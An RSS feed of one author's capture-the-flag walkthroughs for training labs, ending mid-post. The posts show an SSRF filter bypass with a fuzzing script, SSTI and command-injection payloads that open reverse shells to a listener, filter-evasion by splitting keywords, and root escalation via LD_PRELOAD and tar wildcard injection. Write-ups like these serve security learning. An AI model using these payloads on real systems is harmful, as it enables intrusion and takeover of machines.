<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohammad Alkhabbas on Medium]]></title>
        <description><![CDATA[Stories by Mohammad Alkhabbas on Medium]]></description>
        <link>https://medium.com/@mohammadahmad0802?source=rss-1a4d99644a64------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Mohammad Alkhabbas on Medium</title>
            <link>https://medium.com/@mohammadahmad0802?source=rss-1a4d99644a64------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:01:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohammadahmad0802/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Rsec Relay]]></title>
            <link>https://medium.com/@mohammadahmad0802/rsec-relay-c14920a30aae?source=rss-1a4d99644a64------2</link>
            <guid isPermaLink="false">https://medium.com/p/c14920a30aae</guid>
            <dc:creator><![CDATA[Mohammad Alkhabbas]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 16:10:37 GMT</pubDate>
            <atom:updated>2026-11-17T05:22:58.525Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*f1c5u-qpPNPDXpqo2ivnDw.png" /><figcaption>just port 80 is open so lets enumerate the web app</figcaption></figure><p>Note:(add the doamin relay.rsec to the /etc/hosts)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2F8Ah9s1jzclUB0K3vpV6w.png" /></figure><p>so ill visit he app</p><p>i tried differnt vulnarabilities</p><p>for testing SSRF i put my webhook url and i recieved a request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*1uNGUSnUEOeEXTcBSmzp9Q.png" /></figure><p>by this SSRF confirmed so now trying to find a paylaod that bypasses the filter</p><p>i tried some payloads and when its rejected i see “this link couldnt be reached”</p><p>but “<a href="http://[0:0:0:0:0:ffff:127.0.0.1">http://[0:0:0:0:0:ffff:127.0.0.1</a>]” seems it bypassed the filter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*BU58xPAgWxI6idgOwU6_lQ.png" /></figure><p>so now time for looking for the right port i got quick:</p><p>i tried “80,5000,9000,8080,8000”</p><p>port 80 and 5000 worked but after testing they where useless, but port 9000 was the right one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*W2C0RqccUt8DkqbIvLdCfQ.png" /></figure><p>so i did fuzzing on that port but <a href="http://[::ffff:7f00:1]:9000/FUZZ">http://[0:0:0:0:0:ffff:127.0.0.1]:9000/FUZZ</a> didnt get any results so i tried</p><p><a href="http://[::ffff:7f00:1]:9000/FUZZ">http://[0:0:0:0:0:ffff:127.0.0.1]:9000/FUZZ</a>/FUZZ by a python script</p><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;Two-segment SSRF fuzzer for relay.rsec.<br><br>    fuzz2.py [template] [wordlist] [project] [ns-extra]<br><br>template must contain {a} and {b}, e.g.<br>    http://[0:0:0:0:0:ffff:127.0.0.1]:9000/{a}/{b}<br><br>  segment {a} = built-in ops namespaces + the first N words of the wordlist<br>  segment {b} = every word in the chosen wordlist<br><br>wordlist: path to a wordlist file (default: the built-in one).<br>&quot;&quot;&quot;<br>import html<br>import os<br>import random<br>import re<br>import string<br>import sys<br>import time<br><br>import requests<br><br>BASE = &quot;http://relay.rsec&quot;<br>TEMPLATE = &quot;http://[0:0:0:0:0:ffff:127.0.0.1]:9000/{a}/{b}&quot;<br>TIMEOUT = 30<br>BATCH = 60<br><br><br># likely first-segment namespaces for this box (net/diag lives here)<br>NAMESPACES = &quot;&quot;&quot;net ops sre internal diag admin debug api v1 v2 console relay-ops ops-console<br>app settings health status metrics config env debug vars routes token tokens keys secrets exec run<br>cmd shell command deploy hosts nodes services cluster logs audit events alerts incidents<br>postmortems runbooks notes dashboards reports flag getflag readflag&quot;&quot;&quot;.split()<br><br><br>DEFAULT_WORDLIST = &quot;wordlist.txt&quot;          # shipped next to this script<br><br><br>def pick_wordlist(arg):<br>    &quot;&quot;&quot;no argument -&gt; the built-in list; otherwise a path to any wordlist file&quot;&quot;&quot;<br>    local = os.path.join(os.path.dirname(os.path.abspath(__file__)), arg or DEFAULT_WORDLIST)<br>    if os.path.exists(local):<br>        return local<br>    sys.exit(f&quot;wordlist not found: {arg}&quot;)<br><br><br>def load_words(path):<br>    out = []<br>    for line in open(path, errors=&quot;ignore&quot;):<br>        w = line.strip().lstrip(&quot;/&quot;)<br>        if w and not w.startswith(&quot;#&quot;) and &quot; &quot; not in w:<br>            out.append(w)<br>    return out<br><br><br>def clean(t):<br>    return re.sub(r&quot;\s+&quot;, &quot; &quot;, html.unescape(re.sub(r&quot;&lt;[^&gt;]+&gt;&quot;, &quot;&quot;, t or &quot;&quot;))).strip()<br><br><br>def session():<br>    s = requests.Session()<br>    s.headers[&quot;User-Agent&quot;] = &quot;Mozilla/5.0 (fuzz2)&quot;<br>    for _ in range(8):<br>        try:<br>            if s.get(f&quot;{BASE}/app&quot;, allow_redirects=False, timeout=TIMEOUT).status_code == 200:<br>                return s<br>        except requests.RequestException:<br>            pass<br>        u = &quot;fz&quot; + &quot;&quot;.join(random.choices(string.ascii_lowercase, k=8))<br>        try:<br>            s.post(f&quot;{BASE}/register&quot;, data={&quot;username&quot;: u, &quot;password&quot;: &quot;Passw0rd!23&quot;},<br>                   allow_redirects=False, timeout=TIMEOUT)<br>        except requests.RequestException:<br>            pass<br>        time.sleep(1.5)<br>    sys.exit(&quot;no session&quot;)<br><br><br>def read_cards(s, project, tags):<br>    &quot;&quot;&quot;read the feed once, return {tag: (title, desc)} for the tags we posted&quot;&quot;&quot;<br>    feed = s.get(f&quot;{BASE}/app/p/{project}&quot;, timeout=TIMEOUT).text<br>    out = {}<br>    for chunk in re.split(r&#39;&lt;div class=&quot;post&quot;&gt;&#39;, feed)[1:]:<br>        b = re.search(r&#39;class=&quot;post-b&quot;&gt;(.*?)&lt;/div&gt;&#39;, chunk, re.S)<br>        if not b:<br>            continue<br>        tag = clean(b.group(1))<br>        if tag not in tags:<br>            continue<br>        if tag in out:          # feed is newest-first -&gt; keep the newest card<br>            continue<br>        t = re.search(r&#39;pv-t&quot;&gt;(.*?)&lt;/div&gt;&#39;, chunk, re.S)<br>        d = re.search(r&#39;pv-d&quot;&gt;(.*?)&lt;/div&gt;&#39;, chunk, re.S)<br>        out[tag] = (clean(t.group(1)) if t else &quot;&quot;, clean(d.group(1)) if d else &quot;&quot;)<br>    return out<br><br><br>def main():<br>    template = sys.argv[1] if len(sys.argv) &gt; 1 else TEMPLATE<br>    args = sys.argv[2:]<br>    # the wordlist argument is optional: if it is not an existing file it is<br>    # taken to be the project id and the built-in wordlist is used.<br>    wl_arg, proj_arg, ns_arg = &quot;&quot;, &quot;&quot;, &quot;&quot;<br>    if args:<br>        if os.path.exists(os.path.join(os.path.dirname(os.path.abspath(__file__)), args[0])) \<br>                or &quot;/&quot; in args[0]:<br>            wl_arg = args[0]<br>            args = args[1:]<br>        elif args[0].isdigit():<br>            proj_arg = args[0]<br>            args = args[1:]<br>    if args:<br>        proj_arg = args[0]<br>        args = args[1:]<br>    if args:<br>        ns_arg = args[0]<br><br>    wl = pick_wordlist(wl_arg)<br>    project = int(proj_arg) if proj_arg else 2<br>    ns_extra = int(sys.argv[4]) if len(sys.argv) &gt; 4 else 150<br><br>    words = load_words(wl)<br>    seg_a = list(dict.fromkeys(NAMESPACES + words[:ns_extra]))<br>    seg_b = words<br>    total = len(seg_a) * len(seg_b)<br>    print(f&quot;[*] template : {template}&quot;, flush=True)<br>    print(f&quot;[*] wordlist : {wl} ({len(words)} words)&quot;, flush=True)<br>    print(f&quot;[*] {len(seg_a)} x {len(seg_b)} = {total:,} candidates&quot;, flush=True)<br>    print(f&quot;[*] project  : {project}&quot;, flush=True)<br><br>    s = session()<br>    run_id = &quot;%04x&quot; % random.getrandbits(16)   # unique per run<br>    print(f&quot;[*] run      : {run_id}&quot;, flush=True)<br><br>    # baseline: a path that certainly 404s<br>    s.post(f&quot;{BASE}/app/p/{project}/post&quot;,<br>           data={&quot;body&quot;: run_id + &quot;base&quot;, &quot;url&quot;: template.format(a=&quot;__nope__&quot;, b=&quot;__nope__&quot;)},<br>           allow_redirects=False, timeout=TIMEOUT)<br>    time.sleep(2)<br>    bt, bd = read_cards(s, project, {run_id + &quot;base&quot;}).get(run_id + &quot;base&quot;, (None, None))<br>    print(f&quot;[*] baseline : title={bt!r} desc_len={len(bd or &#39;&#39;)}&quot;, flush=True)<br>    if bt is None:<br>        sys.exit(&quot;baseline failed - wrong project or no session&quot;)<br><br>    hits = 0<br>    done = 0<br>    t0 = time.time()<br>    for a in seg_a:<br>        for start in range(0, len(seg_b), BATCH):<br>            chunk = seg_b[start:start + BATCH]<br>            tags = {}<br>            for i, b in enumerate(chunk):<br>                tag = f&quot;{run_id}x{a}_{start+i}&quot;<br>                tags[tag] = (a, b)<br>                s.post(f&quot;{BASE}/app/p/{project}/post&quot;,<br>                       data={&quot;body&quot;: tag, &quot;url&quot;: template.format(a=a, b=b)},<br>                       allow_redirects=False, timeout=TIMEOUT)<br>            time.sleep(2)<br>            cards = read_cards(s, project, set(tags))<br>            for tag, (title, desc) in cards.items():<br>                a, b = tags[tag]<br>                if title is None or title == bt:<br>                    continue<br>                if abs(len(desc or &quot;&quot;) - len(bd or &quot;&quot;)) &lt;= 20:<br>                    continue<br>                hits += 1<br>                print(f&quot;[HIT] /{a}/{b}\n   T={title!r}\n   D={(desc or &#39;&#39;)[:300]!r}&quot;, flush=True)<br>            done += len(chunk)<br>            if done % 600 == 0:<br>                el = time.time() - t0<br>                print(f&quot;   {done:,}/{total:,} ({100*done/total:.1f}%) &quot;<br>                      f&quot;hits={hits} {el:.0f}s&quot;, flush=True)<br>    print(f&quot;done: {hits} hits over {total:,} candidates&quot;, flush=True)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>its excuted by “python3 -u fuzz2.py ‘<a href="http://[::ffff:7f00:1]:9000/%7Ba%7D/%7Bb%7D&#39;">http://[0:0:0:0:0:ffff:127.0.0.1]:9000/{a}/{b}&#39;</a> mini-wordlist.txt 2”</p><p>then u get two endpoints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDqzOvbN_KFucGhFs3hxAw.png" /></figure><p>the ops token got leaked then i tried /net/diag giving it the token parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*yguA6mNR7BJjX6KxJOr98w.png" /></figure><p>it gets another parameter called host so i thought they night be using :</p><pre>ping -c5 $tagrget</pre><p>so i think theres a way to command injection so i tried using “;” to get the ping command an error and do whatever comes next so i got a pythonreverse shell paylaod and encoded it</p><pre>http://[::ffff:7f00:1]:9000/net/diag?token=ops_8f2a1c7d4b6e9035af18e2c5d7b0a94f&amp;target=%3Bsetsid%20nohup%20python3%20-c%20%27import%20socket%2Cos%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28%2210.20.0.18%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bos.execv%28%22%2Fbin%2Fsh%22%2C%5B%22sh%22%2C%22-i%22%5D%29%27%20%3E%2Fdev%2Fnull%202%3E%261%20%26</pre><p>then upgraded the shell by</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>and got the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*TmAl2UzdyPR_hB8Y3Az6PA.png" /></figure><p>then checked sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*ZyfpaylljyZDLpyyfCI_Fg.png" /></figure><p>/opt/relay/bin/relay-maint is a c compiled file</p><p>this is a known vulnarabilty called</p><p>“Sudo LD_PRELOAD Privilege Escalation”</p><p>When a program is executed, the dynamic linker (ld.so) searches for the shared libraries required by the program. If LD_PRELOAD is set, the specified library is loaded first, even before the standard libraries like libc</p><p>to achieve the exoplotation u first run:</p><pre>gcc -x c -shared -fPIC -o /tmp/shell.so - &lt;&lt; &#39;EOF&#39;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>__attribute__((constructor)) void pwn() {<br>    unsetenv(&quot;LD_PRELOAD&quot;);<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/bin/bash&quot;);<br>}<br>EOF</pre><p>then</p><pre>sudo LD_PRELOAD=/tmp/shell.so /opt/relay/bin/relay-maint</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*IrUZXUKvAgrOmNxGfIX4xw.png" /></figure><p>root now,Done!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c14920a30aae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rsec Forge]]></title>
            <link>https://medium.com/@mohammadahmad0802/rsec-forge-fb880f614f4e?source=rss-1a4d99644a64------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb880f614f4e</guid>
            <category><![CDATA[machine]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[rsec]]></category>
            <dc:creator><![CDATA[Mohammad Alkhabbas]]></dc:creator>
            <pubDate>Sat, 14 Nov 2026 06:48:59 GMT</pubDate>
            <atom:updated>2026-11-14T13:48:22.684Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*ZRugTSorwrmbtxuXQxk6_Q.png" /></figure><p><a href="https://labs.rsec.uk/labs/forge">https://labs.rsec.uk/labs/forge</a></p><p>first be an nmap scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*ztvE0ZPwbpaUb3-UsbDLKg.png" /></figure><p>enumerate forge.rsec :nothing really so i went to find subdomains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*w_BAcA_MSXJsGjuNgXwBnA.png" /></figure><p>we found “dev.forge.rsec” so when i openedi searched for random things then i saw the refelection of my input, so i tried SSTI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xhPFECcNXMt1_9p0yoa7mQ.png" /></figure><p>the output was “49” so SSTI confirmed , after trying lot of render template engine this RCE SSTI paylaod worked:</p><pre>{{[][&#39;con&#39;+&#39;structor&#39;][&#39;con&#39;+&#39;structor&#39;](&#39;return pro&#39;+&#39;cess&#39;)().mainModule[&#39;requ&#39;+&#39;ire&#39;](&#39;child_&#39;+&#39;pro&#39;+&#39;cess&#39;)[&#39;ex&#39;+&#39;ec&#39;+&#39;Sync&#39;](&#39;ls&#39;).toString()}}</pre><p>then i read the app.js :</p><p>const BLOCKED = [ /constructor/i, /process/i, /global/i, /require/i, /exec/i, /spawn/i, /eval/i, ]</p><p>so we must craft a reverse shell payoad that bypasses the filter:</p><p>The pattern is: <strong>any banned word → split it with </strong><strong>+ so the contiguous string never appears in the source.</strong></p><pre>&#39;con&#39;+&#39;structor&#39;   → constructor<br>&#39;pro&#39;+&#39;cess&#39;       → process<br>&#39;requ&#39;+&#39;ire&#39;       → require<br>&#39;ex&#39;+&#39;ec&#39;          → exec<br>&#39;spa&#39;+&#39;wn&#39;         → spawn<br>&#39;glo&#39;+&#39;bal&#39;        → global<br>&#39;eva&#39;+&#39;l&#39;          → eval</pre><p>like this its done so:</p><p>then i tried this reverse shell payload after setting the listner:</p><pre>{{[][&#39;con&#39;+&#39;structor&#39;][&#39;con&#39;+&#39;structor&#39;](&#39;return pro&#39;+&#39;cess&#39;)().mainModule[&#39;requ&#39;+&#39;ire&#39;](&#39;child_&#39;+&#39;pro&#39;+&#39;cess&#39;)[&#39;ex&#39;+&#39;ec&#39;](&#39;bash -c &quot;bash -i &gt;&amp; /dev/tcp/10.20.0.18/4444 0&gt;&amp;1&quot;&#39;)}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*i3rWbrGLacofv5KW6m7b4g.png" /></figure><p>so i searched the whole machine for anything then found crdetentials at:cat /var/www/dev/.env</p><pre>DEPLOY_USER=dylan<br>DEPLOY_PASS=Forg3_D3v!_2024</pre><p>so i logged to ssh as dylan and got the user flag and checked sudo -l:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eyBOjeqHOmH15m_teX__wA.png" /></figure><p>i found a bash script :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*EwaYcmpXgDLWhCNbuMjYvQ.png" /></figure><p>this is called Tar Wildcard Injection:</p><p>This means that the tar tool will not just treat files as ordinary files, but will interpret the names of certain files as commands or flags if they start with a dash (--). You can exploit this vulnerability to gain root privileges by following these step-by-step instructions inside the /opt/forge/releases directory:</p><pre>echo &quot;cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/bash&quot; &gt; exploit.sh<br><br>chmod +x exploit.sh<br><br>touch -- &quot;--checkpoint=1&quot;<br><br>touch -- &quot;--checkpoint-action=exec=sh exploit.sh&quot;<br><br>sudo /usr/local/bin/backup-forge<br><br>/tmp/rootbash -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*GSl56j98koq2OPTA99BejQ.png" /></figure><p>the source for explotation method:</p><p><a href="https://0x77zen.medium.com/from-archives-to-attacks-tar-wildcard-injection-explained-492c1f5e42ae">From Archives to Attacks: Tar Wildcard Injection Explained</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb880f614f4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rsec Reused]]></title>
            <link>https://medium.com/@mohammadahmad0802/rsec-reused-6fa2d42748ea?source=rss-1a4d99644a64------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fa2d42748ea</guid>
            <dc:creator><![CDATA[Mohammad Alkhabbas]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 16:27:55 GMT</pubDate>
            <atom:updated>2026-11-10T18:29:29.913Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://labs.rsec.uk/labs/reused">RSEC - Labs</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dIBAOevinyrtU5m4hmSnTg.png" /></figure><p>first we start by ping to see if the host is live. then nmap Scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*kzVwlqXXxVEhX8owhjbpMQ.png" /></figure><p>we find that port 22(SSH ) and port 80(http) and 6001(X11) then version discover and scripts on these ports:</p><p>nothing useful until now so we enumerate the web app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DbsIRwyaVrqsYM4rFIdcdA.png" /></figure><p><a href="http://20.20.4.2/products.php?id=1">http://20.20.4.2/products.php?id=1</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NsEFXOQn6y2v9kAIYeDq9A.png" /></figure><p>i looked for any vulnarabilties by messing up with id parmeter :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HqesrCEm4NYmE6b3xEaIDg.png" /></figure><p>it gave me this s i thinked about SQLi so i captured the request using burp to use it for sqlmap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPkhE6t-v0wzwQAh1wGnhQ.png" /></figure><p>and like this the parameter id is vurnarable to SQLi Union so welook to get most information:</p><p>with “sqlmap -r request.txt — dump-all — batch” we dumped all the DB , with hours of searching and reading none of them were usefull.</p><p>with some reaesrch SQLi isnt just for dumping the whole DB , u can upload files where u have read/Write preivllages so check previlages by:”sqlmap -r request.txt --privileges”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*AMEGXvjpw30uQpO43YRX0w.png" /></figure><p>privellges file! might have read/write in some directories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FBsRvmW8cQGiGD9ajiCKhA.png" /></figure><p>bt this we confirmed write in /tmp</p><p>ill try in /var/www/html/uploads/ so its the place i can excute the reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTPy7b4GS2xOL4M6VLzDGg.png" /></figure><p>we uploaded it to the /uploads/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*Me_C95ixR8NbglAW9evY3Q.png" /></figure><p>then read the user.txt.</p><p>then after some searching i found a file called deploy.env at “/opt/cobalt/deploy.env”</p><p>it contains:</p><p>DEPLOY_USER=marcus<br>DEPLOY_PASS=R3dR0ck!</p><p>we login using marcus</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*OP4oJ-XjDYNOc4ux" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*Myg7PPy9KBWSj5CSyB8HpA.png" /></figure><p>we logged in as marcus then upgaded the shell.</p><p>first i wanna see what my user can do with sudo :</p><p>“User marcus may run the following commands on 842b2994bd50:<br> (ALL) NOPASSWD: /usr/bin/lsof”</p><p>afer hours of trying to get root by this it wad just a rabbit hole, then i decided to see whats running on local host:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSaFY-CE4RosqPt9-0tRyA.png" /></figure><p>so the port 5901 on local host is a <strong>Port 5901 is primarily used for Virtual Network Computing (VNC) remote desktop connections, specifically for the second VNC display screen (:1).</strong></p><p>SO by its owned for root i could find somewhere to get in so i forwarded it to my kali by:”ssh -L 5901:127.0.0.1:5901 marcus@20.20.4.5”</p><p>so now like the port transfred to our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*WK5kSUVf9R47aGWtZ3OeTw.png" /></figure><p>after i forwarded the port to my kali , on a different terminal we will log in into the VNC by “vncviewer 127.0.0.1:5901”</p><p>Note:to get the root password try every password found in the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sTa0HHoMc5yZA0_g" /></figure><p>and like this the machine ended.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fa2d42748ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Pentesting]]></title>
            <link>https://medium.com/@mohammadahmad0802/basic-pentesting-f75ec515cf6e?source=rss-1a4d99644a64------2</link>
            <guid isPermaLink="false">https://medium.com/p/f75ec515cf6e</guid>
            <dc:creator><![CDATA[Mohammad Alkhabbas]]></dc:creator>
            <pubDate>Thu, 24 Sep 2026 17:05:41 GMT</pubDate>
            <atom:updated>2026-09-24T17:05:41.161Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Basic Pentesting is a THM linux machine.</strong></p><p>first we start by seeing if the host is alive by:”ping -c 4 10.49.138.144”</p><p>then we do a fast nmap scan by:”nmap -sS -Pn 10.49.138.144”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*YBhngwRHb-bx2vm_pUU4eA.png" /></figure><p>the most important ports open now are :ssh and smb.</p><p>there is a question in the machine:”What is the name of the hidden directory on the web server(enter name without /)?” to know it we use feroxbuster.</p><p>feroxbuster -u <a href="http://10.49.138.144/">http://10.49.138.144</a> -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -k</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mJGUy8RY7LSsYWHO5iurKQ.png" /></figure><p>its <a href="http://10.49.138.144/development/">http://10.49.138.144/development/</a> we enter .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*hr60ORJY2rh1gHrY1pZN8g.png" /></figure><p>we enter the first file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*gfUotkKnAzQzynIAU-q8rw.png" /></figure><p>the second file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*DPgGzXkQz6JDJ0J7tpcM9Q.png" /></figure><p>from this we see that the user who starts with “j” has a weak pass so we can brute-force him easly.</p><p>but we need to get his whole user so we do a fast scan with “enum4linux”</p><p>“enum4linux -a 10.49.138.144” note(-a:do all simple enumerations)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mXPwU6NrK7X360E38M6ygA.png" /></figure><p>we got this so we use smbclient to see the shares:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*HeUT0KS6AtG9tAzVGKojGQ.png" /></figure><p>now we got the whole username. but lets explain each command here:</p><p>first we saw the shared files then entered the <a href="https://10.49.138.144/Anonymous">//10.49.138.144/Anonymous</a> andsaw what it conatins by “ls” then we uploaded the file to our system by “get staff.txt”</p><p>after we got the username,remember ssh port was open lets use hydra to brute-force the password:</p><p>now we got the whole username. but lets explain each command here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQQj2iQPpapU6B9loFdmWg.png" /></figure><p>we got the password now lets login in the ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*rOOlPh1A2omumIt0tM5Prw.png" /></figure><p>then we go to the /home/ where we will find a user called kay has a file called:pass.bac which has the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*tjEMs1D7xsBhhOYv2iCb9A.png" /></figure><p>we want to read the file then it pops:permission denied</p><p>time for “Privilege escalation”:</p><p>lets explain:we want to get the root for kay so were gonna use the ssh ket of passphrase of kay:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*ubHIyRcKfVuBMXqPgO47_g.png" /></figure><p>.ssh is the directory we need</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*u7aSsgT97utjfjhSRlPfGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*OZmwOAa3TUgnZPWPm9aV-w.png" /></figure><p>this is the id_rsa file, now we will copy/paste it to our system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*Re5F5rjIXNMRmN4p6TzaJw.png" /></figure><p>lets explain each command here: first we copied the rsa key to our system, then we used a tool called ssh2john it turns the “id_rsa” to a hash format that john can understand,</p><p>then we crack the hash by using john and the wordlist rockyou.txt</p><p>then we use this :”ssh -i id_rsa kay@10.66.173.72”</p><p>it tells to login shh from the id_rsa key ,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*sN3nQm4fDJHqyXSl4vUNsA.png" /></figure><p>and now we just have to read the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*u6klL5UGSDVmcuiIrShunA.png" /></figure><p>and like this the lab is solved!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f75ec515cf6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacktive Directory]]></title>
            <link>https://medium.com/@mohammadahmad0802/attacktive-directory-a45b8854af53?source=rss-1a4d99644a64------2</link>
            <guid isPermaLink="false">https://medium.com/p/a45b8854af53</guid>
            <dc:creator><![CDATA[Mohammad Alkhabbas]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 19:40:00 GMT</pubDate>
            <atom:updated>2026-09-22T19:40:00.995Z</atom:updated>
            <content:encoded><![CDATA[<p>this is a THM machine about “<strong>Active Directory</strong>”</p><p>first i checked if the website is alive by :”ping -c 4 10.48.152.40”</p><p>then a quick nmap scan by:”nmap -sS -Pn 10.48.152.40”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Mjud_VFBEL-kTDtCOU2cw.png" /></figure><p>the first thing i did that i runned enum4linux on the ip:”enum4linux 10.48.152.40” and then i found DC and the sid and it asks for a password so we cancel this way:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oi-j91CPY9GK8Opbuxf8hg.png" /></figure><p>and then i saw port 445 open so i wanted to see the files that have been shares so i used smb client by this command:<strong>smbclient</strong> -L <a href="https://10.48.152.40/">//10.48.152.40/</a> -L</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*f-fORamRiJ3AJQGGowrHkA.png" /></figure><p>but it asked for a password and i have none.</p><p>by the nmap scanning we foung that port 88/kerberos-sec so i made a brute force on the users to know the name of the users :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1iz0z3jqCHVH7J4_anFJg.png" /></figure><p>after we knew the usernames we will brute force them to see who has “Do not require Kebros Authentaction” “AS-REP roasting attack” by a built in script in kali linux by this command: “impacket-GetNPUsers THM-AD/ -no-pass -dc-ip 10.49.183.170 -usersfile users.txt” then we get this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7AHNCE3hRqtcUGv6q65yjA.png" /></figure><p>we got the acount password hash we crack it by using john and the password list they gave us:management2005 that this the password for this account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xrRvf1Elim2tEFIuuXClw.png" /></figure><p>then that means that we have cridintails that we can do more attacks and back to the smbclient scan we see that we must have a user and pass which means that we can see what the device has shared by the following command:”smbclient -L //10.49.183.170 -THM-AD/svc-admin%management2005”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5J-tWjzas1FWu9ZsVMro7w.png" /></figure><p>there is a souspicouse folder called backup lets enter it by :”smbclient 